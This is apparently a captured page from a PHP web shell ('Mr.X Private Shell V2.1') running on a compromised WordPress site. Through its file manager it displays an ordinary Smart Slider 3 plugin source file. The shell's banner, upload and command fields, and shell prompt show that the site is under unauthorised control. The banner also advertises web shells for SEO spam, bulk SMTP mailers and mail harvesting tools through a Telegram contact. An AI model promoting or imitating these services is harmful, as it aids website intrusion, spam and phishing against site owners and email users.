__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\SmartSlider3\Renderable;


use Nextend\Framework\View\Html;
use Nextend\SmartSlider3\Renderable\Component\ComponentCol;
use Nextend\SmartSlider3\Renderable\Component\ComponentContent;
use Nextend\SmartSlider3\Renderable\Component\ComponentLayer;
use Nextend\SmartSlider3\Renderable\Component\ComponentRow;
use Nextend\SmartSlider3\Renderable\Item\AbstractItemFrontend;

abstract class AbstractRenderableOwner {

    public $underEdit = false;

    /**
     * @var AbstractRenderable
     */
    protected $renderable;

    /** @var string Used for generators when multiple slides might contain the same unique class */
    public $unique = '';

    /**
     * @return AbstractRenderable
     */
    public function getRenderable() {
        return $this->renderable;
    }

    public abstract function getElementID();

    public function isComponentVisible($generatorVisibleVariable) {
        return true;
    }

    public function fill($value) {
        return $value;
    }

    public function fillLayers(&$layers) {
        for ($i = 0; $i < count($layers); $i++) {
            if (isset($layers[$i]['type'])) {
                switch ($layers[$i]['type']) {
                    case 'slide':
                        $this->fillLayers($layers[$i]['layers']);
                        break;
                    case 'content':
                        ComponentContent::getFilled($this, $layers[$i]);
                        break;
                    case 'row':
                        ComponentRow::getFilled($this, $layers[$i]);
                        break;
                    case 'col':
                        ComponentCol::getFilled($this, $layers[$i]);
                        break;
                    case 'group':
                        $this->fillLayers($layers[$i]['layers']);
                        break;
                    default:
                        ComponentLayer::getFilled($this, $layers[$i]);
                }
            } else {
                ComponentLayer::getFilled($this, $layers[$i]);
            }
        }
    }

    public function isLazyLoadingEnabled() {
        return false;
    }

    /**
     * @param AbstractItemFrontend $item
     * @param                      $src
     * @param array                $attributes
     *
     * @return string
     */
    public function renderImage($item, $src, $attributes = array(), $pictureAttributes = array()) {

        return Html::image($src, $attributes);
    }

    public abstract function addScript($script, $name = false);

    public abstract function isScriptAdded($name);

    public abstract function addLess($file, $context);

    public abstract function addCSS($css);

    public abstract function addDeviceCSS($device, $css);

    public abstract function addFont($font, $mode, $pre = null);

    public abstract function addStyle($style, $mode, $pre = null);

    public abstract function addImage($imageUrl);

    public abstract function isAdmin();

    public abstract function getAvailableDevices();
}

Filemanager

Name Type Size Permission Actions
Component Folder 0775
Item Folder 0775
Placement Folder 0775
AbstractRenderable.php File 3.88 KB 0664
AbstractRenderableOwner.php File 2.98 KB 0664
ComponentContainer.php File 4.31 KB 0664
Filemanager